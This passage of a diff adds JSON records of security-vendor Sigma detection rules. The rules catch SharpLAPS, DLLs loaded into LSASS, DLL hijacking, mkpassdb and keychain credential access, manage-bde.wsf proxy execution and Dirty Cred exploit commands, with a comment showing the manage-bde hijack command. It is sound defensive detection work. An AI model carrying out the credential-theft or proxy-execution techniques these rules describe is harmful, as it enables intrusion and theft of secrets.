+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074814Z",
+  "creation_date": "2026-03-23T11:45:34.074817Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074821Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/swisskyrepo/SharpLAPS",
+    "https://attack.mitre.org/techniques/T1555/"
+  ],
+  "name": "t1555_sharplaps.yml",
+  "content": "title: Execution of SharpLAPS\nid: 8c60ec83-9f95-4dc0-9c05-23e5df43fcd3\ndescription: |\n    Detects the execution of SharpLAPS, a tool used to retrieve LAPS passwords from the Active Directory.\n    LAPS (Local Admin Password Solution) is a feature provided by Microsoft that automatically manages the password of a local administrator account of domain joined computers.\n    An account with domain admin privileges or with ExtendedRight or Generic All Rights is required by the tool to query the relevant information from the Active Directory.\n    It is recommended to analyze the parent process for suspicious activities as well as to look for other suspicious actions on the host.\n    Authentication telemetry can be used to investigate any anomalous authentications as Administrator using stolen LAPS passwords.\nreferences:\n    - https://github.com/swisskyrepo/SharpLAPS\n    - https://attack.mitre.org/techniques/T1555/\ndate: 2023/03/20\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.SharpLAPS\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - OriginalFileName: 'SharpLAPS.exe'\n        - InternalName: 'SharpLAPS.exe'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c60ec83-9f95-4dc0-9c05-23e5df43fcd3",
+  "rule_name": "Execution of SharpLAPS",
+  "rule_description": "Detects the execution of SharpLAPS, a tool used to retrieve LAPS passwords from the Active Directory.\nLAPS (Local Admin Password Solution) is a feature provided by Microsoft that automatically manages the password of a local administrator account of domain joined computers.\nAn account with domain admin privileges or with ExtendedRight or Generic All Rights is required by the tool to query the relevant information from the Active Directory.\nIt is recommended to analyze the parent process for suspicious activities as well as to look for other suspicious actions on the host.\nAuthentication telemetry can be used to investigate any anomalous authentications as Administrator using stolen LAPS passwords.\n",
+  "rule_creation_date": "2023-03-20",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c69841b-27a7-42ba-a3ca-190318752de4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612291Z",
+  "creation_date": "2026-03-23T11:45:34.612294Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612302Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/",
+    "https://github.com/gentilkiwi/mimikatz",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_loads_dll_unknown_location.yml",
+  "content": "title: DLL Loaded by LSASS from Unusual Location\nid: 8c69841b-27a7-42ba-a3ca-190318752de4\ndescription: |\n    Detects when a DLL is loaded by LSASS.exe from an unusual location.\n    The LSASS process is responsible for authentications in Windows.\n    Attackers can inject code into the LSASS process as an attempt to read credentials from its memory.\n    It is recommended to analyze the loaded DLL as well as to look for signs of credential dumping on the system.\nreferences:\n    - https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/\n    - https://github.com/gentilkiwi/mimikatz\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2023/03/28\nmodified: 2026/02/27\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1055.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image: '?:\\Windows\\System32\\lsass.exe'\n        ImageLoaded|startswith: '?:\\'\n\n    filter_knwon_locations:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\SysWoW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '?:\\Windows\\Microsoft.NET\\'\n            - '?:\\Windows\\assembly\\'\n            - '?:\\Windows\\NAC\\SBS\\'\n            - '?:\\{00000000-0000-0000-0000-000000000000}\\svroot\\windows\\WinSxS\\'\n            - '?:\\{00000000-0000-0000-0000-000000000000}\\svroot\\windows\\SysWoW64\\'\n            - '?:\\{00000000-0000-0000-0000-000000000000}\\svroot\\windows\\system32\\'\n            - '?:\\{00000000-0000-0000-0000-000000000000}\\svroot\\windows\\Microsoft.NET\\'\n            - '?:\\{00000000-0000-0000-0000-000000000000}\\svroot\\windows\\assembly\\'\n            - '?:\\{00000000-0000-0000-0000-000000000000}\\svroot\\windows\\NAC\\SBS\\'\n            - '?:\\SnapVolumesTemp\\MountPoints\\{????????-????-????-????-????????????}\\{????????-????-????-????-????????????}\\SVROOT\\Windows\\System32\\'\n\n    exclusion_microsoft:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_docker:\n        ImageLoaded|startswith:\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n            - '*\\docker\\data\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\data\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n\n    exclusion_sandboxed:\n        ImageLoaded|startswith: '\\Device\\vmsmb\\'\n\n    exclusion_device_harddiskvolume:\n        ImageLoaded|startswith: '\\Device\\HarddiskVolume'\n\n    exclusion_nationalinstruments:\n        ImageLoaded: '*\\National Instruments\\Shared\\mDNS Responder\\nimdnsNSP.dll'\n\n    exclusion_ibmnerworkprovider:\n        ImageLoaded|endswith: '\\IBM\\Client Access\\Shared\\cwbnetnt.dll'\n        Description: 'Client Access Express Network Provider'\n        OriginalFileName: 'cwbnetnt.dll'\n\n    exclusion_primx:\n        Signed: 'true'\n        Signature: \"PRIM'X TECHNOLOGIES S.A.S.\"\n\n    exclusion_quest:\n        Signed: 'true'\n        Signature:\n            - 'QUEST SOFTWARE INC.'\n            - 'QUEST SOFTWARE, INC.'\n        ImageLoaded: '?:\\Windows\\BTPass\\x64\\BTPassAsm.dll'\n\n    exclusion_trendmicro:\n        ImageLoaded: '?:\\WINAPP64\\AVSWM\\Trend Micro\\Deep Security*\\TMExtractor64.dll'\n        Signed: 'true'\n        Signature: 'Trend Micro, Inc.'\n\n    exclusion_mcafee:\n        ImageLoaded|endswith:\n            - '\\McAfee\\Endpoint Security\\Threat Prevention\\IPS\\EpMPApi.dll'\n            - '\\McAfee\\Endpoint Security\\Threat Prevention\\IPS\\EpMPThe.dll'\n        Signed: 'true'\n        Signature:\n            - 'McAfee, Inc.'\n            - 'Musarubra US LLC'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c69841b-27a7-42ba-a3ca-190318752de4",
+  "rule_name": "DLL Loaded by LSASS from Unusual Location",
+  "rule_description": "Detects when a DLL is loaded by LSASS.exe from an unusual location.\nThe LSASS process is responsible for authentications in Windows.\nAttackers can inject code into the LSASS process as an attempt to read credentials from its memory.\nIt is recommended to analyze the loaded DLL as well as to look for signs of credential dumping on the system.\n",
+  "rule_creation_date": "2023-03-28",
+  "rule_modified_date": "2026-02-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1055.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c74f503-c13c-4aac-bec6-dce34f0e3ae4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090805Z",
+  "creation_date": "2026-03-23T11:45:34.090807Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090811Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_presentationhost.yml",
+  "content": "title: DLL Hijacking via presentationhost.exe\nid: 8c74f503-c13c-4aac-bec6-dce34f0e3ae4\ndescription: |\n    Detects potential Windows DLL Hijacking via presentationhost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'presentationhost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\mscoree.dll'\n            - '\\urlmon.dll'\n            - '\\version.dll'\n            - '\\WININET.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c74f503-c13c-4aac-bec6-dce34f0e3ae4",
+  "rule_name": "DLL Hijacking via presentationhost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via presentationhost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c815a1b-f4b0-4ebd-abec-692d10353642",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617095Z",
+  "creation_date": "2026-03-23T11:45:34.617098Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617106Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1555/005/"
+  ],
+  "name": "t1564_001_creds_dump_mkpassdb.yml",
+  "content": "title: Credentials Dumped via mkpassdb\nid: 8c815a1b-f4b0-4ebd-abec-692d10353642\ndescription: |\n    Detects the usage of mkpassdb to dump credentials.\n    Adversaries may dump credentials to use them for lateral movement.\n    It is recommended to check for other suspicious activities by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1555/005/\ndate: 2024/07/22\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.005\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        ProcessName: 'mkpassdb'\n        CommandLine|contains: '-dump'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c815a1b-f4b0-4ebd-abec-692d10353642",
+  "rule_name": "Credentials Dumped via mkpassdb",
+  "rule_description": "Detects the usage of mkpassdb to dump credentials.\nAdversaries may dump credentials to use them for lateral movement.\nIt is recommended to check for other suspicious activities by the parent process.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c870c23-e2f8-4774-86d6-12106f4109c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074945Z",
+  "creation_date": "2026-03-23T11:45:34.074947Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074951Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/",
+    "https://attack.mitre.org/techniques/T1216/"
+  ],
+  "name": "t1216_manage_bde_wsf_post_exec.yml",
+  "content": "title: Binary Hijacked via manage-bde.wsf\nid: 8c870c23-e2f8-4774-86d6-12106f4109c9\ndescription: |\n    Detects the execution of the manage-bde.wsf script to execute a fake manage-bde.exe.\n    When the manage-bde.wsf script is run, it will try to execute manage-bde.exe by first looking in the current directory.\n    Attackers may put a malicious manage-bde.exe in any directory they have write access to, and execute the manage-bde.wsf to proxy the execution of their payload.\n    The manage-bde.wsf script, used to manage BitLocker, has been deprecated since Windows 7 and manage-bde.exe should be used instead.\n    It is recommended to investigate the process that ran the cscript.exe process, as well as the manage-bde.exe process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/\n    - https://attack.mitre.org/techniques/T1216/\ndate: 2022/01/27\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Manage-bde\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # copy c:\\users\\person\\evil.exe c:\\users\\public\\manage-bde.exe & cd c:\\users\\public\\ & cscript.exe c:\\windows\\system32\\manage-bde.wsf\n    selection:\n        GrandparentImage|endswith: '\\cscript.exe'\n        GrandparentCommandLine|contains: 'manage-bde.wsf'\n        ParentImage|contains: 'cmd.exe'\n        Image|endswith: '\\manage-bde.exe'\n        CommandLine|contains: '-legacy_Vista'\n\n    filter_legitimate_manage_bde:\n        Image: '?:\\Windows\\System32\\manage-bde.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\n#level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c870c23-e2f8-4774-86d6-12106f4109c9",
+  "rule_name": "Binary Hijacked via manage-bde.wsf",
+  "rule_description": "Detects the execution of the manage-bde.wsf script to execute a fake manage-bde.exe.\nWhen the manage-bde.wsf script is run, it will try to execute manage-bde.exe by first looking in the current directory.\nAttackers may put a malicious manage-bde.exe in any directory they have write access to, and execute the manage-bde.wsf to proxy the execution of their payload.\nThe manage-bde.wsf script, used to manage BitLocker, has been deprecated since Windows 7 and manage-bde.exe should be used instead.\nIt is recommended to investigate the process that ran the cscript.exe process, as well as the manage-bde.exe process.\n",
+  "rule_creation_date": "2022-01-27",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c9d264e-3309-4fe1-98a9-2fc7bb414f7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608351Z",
+  "creation_date": "2026-03-23T11:45:34.608354Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608362Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1555/001/"
+  ],
+  "name": "t1555_001_login_keychain_access.yml",
+  "content": "title: Access to macOS Login Keychain\nid: 8c9d264e-3309-4fe1-98a9-2fc7bb414f7b\ndescription: |\n    Detects an access to the macOS Login Keychain.\n    Keychain (or Keychain Services) is the macOS credential management system.\n    Attackers may access the macOS Login Keychain to gather user credentials or the location of its database.\n    It is recommended to ensure that the process accessing this file is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1555/001/\ndate: 2022/11/18\nmodified: 2024/03/12\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        # security login-keychain\n        Image: '/usr/bin/security'\n        CommandLine|contains: ' login-keychain'\n\n    exclusion_duo_desktop:\n        ParentImage: '/Applications/Duo Desktop.app/Contents/MacOS/Duo Desktop'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c9d264e-3309-4fe1-98a9-2fc7bb414f7b",
+  "rule_name": "Access to macOS Login Keychain",
+  "rule_description": "Detects an access to the macOS Login Keychain.\nKeychain (or Keychain Services) is the macOS credential management system.\nAttackers may access the macOS Login Keychain to gather user credentials or the location of its database.\nIt is recommended to ensure that the process accessing this file is legitimate.\n",
+  "rule_creation_date": "2022-11-18",
+  "rule_modified_date": "2024-03-12",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8c9d9dc3-9906-4f86-b62d-fbf0e6898430",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619470Z",
+  "creation_date": "2026-03-23T11:45:34.619472Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619477Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://access.redhat.com/security/cve/cve-2022-2588",
+    "https://github.com/Markakd/CVE-2022-2588",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_dirty_cred_poc.yml",
+  "content": "title: Possible Exploitation of Dirty Cred\nid: 8c9d9dc3-9906-4f86-b62d-fbf0e6898430\ndescription: |\n    Detects common exploits and proof-of-concepts for the Linux Dirty Cred vulnerability (CVE-2022-2588).\n    This vulnerability resides in the network packet scheduler implementation in the Linux kernel which does not properly remove all references to a route filter before freeing it in some situations.\n    A local attacker can exploit this to cause a denial of service (system crash) or execute arbitrary code.\n    It is recommended to determine if this action comes from internal tests and if not, to launch an investigation into the breach.\nreferences:\n    - https://access.redhat.com/security/cve/cve-2022-2588\n    - https://github.com/Markakd/CVE-2022-2588\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2022/10/07\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2022-2588\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Exploit.CVE-2022-2588\n    - classification.Linux.Exploit.DirtyCred\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_cmd1:\n        CommandLine|endswith: 'rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data'\n\n    selection_cmd2:\n        ParentCommandLine|endswith: 'rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data'\n        CommandLine:\n            - 'rm -rf exp_dir'\n            - 'mkdir exp_dir'\n            - 'touch exp_dir/data'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8c9d9dc3-9906-4f86-b62d-fbf0e6898430",
+  "rule_name": "Possible Exploitation of Dirty Cred",
+  "rule_description": "Detects common exploits and proof-of-concepts for the Linux Dirty Cred vulnerability (CVE-2022-2588).\nThis vulnerability resides in the network packet scheduler implementation in the Linux kernel which does not properly remove all references to a route filter before freeing it in some situations.\nA local attacker can exploit this to cause a denial of service (system crash) or execute arbitrary code.\nIt is recommended to determine if this action comes from internal tests and if not, to launch an investigation into the breach.\n",
+  "rule_creation_date": "2022-10-07",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8ca3659e-81fe-487c-9ecf-80da110acec4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T10:57:06.360476Z",
+  "creation_date": "2026-03-23T11:45:35.295688Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295695Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1046/T1046.md#atomic-test-1---port-scan",
+    "https://acc3ssp0int.com/2023/10/15/back-2-basics-dev-tcp/",
+    "https://attack.mitre.org/techniques/T1046/",
+    "https://attack.mitre.org/techniques/T1049/"
+  ],
+  "name": "t1046_scan_ports_bash.yml",
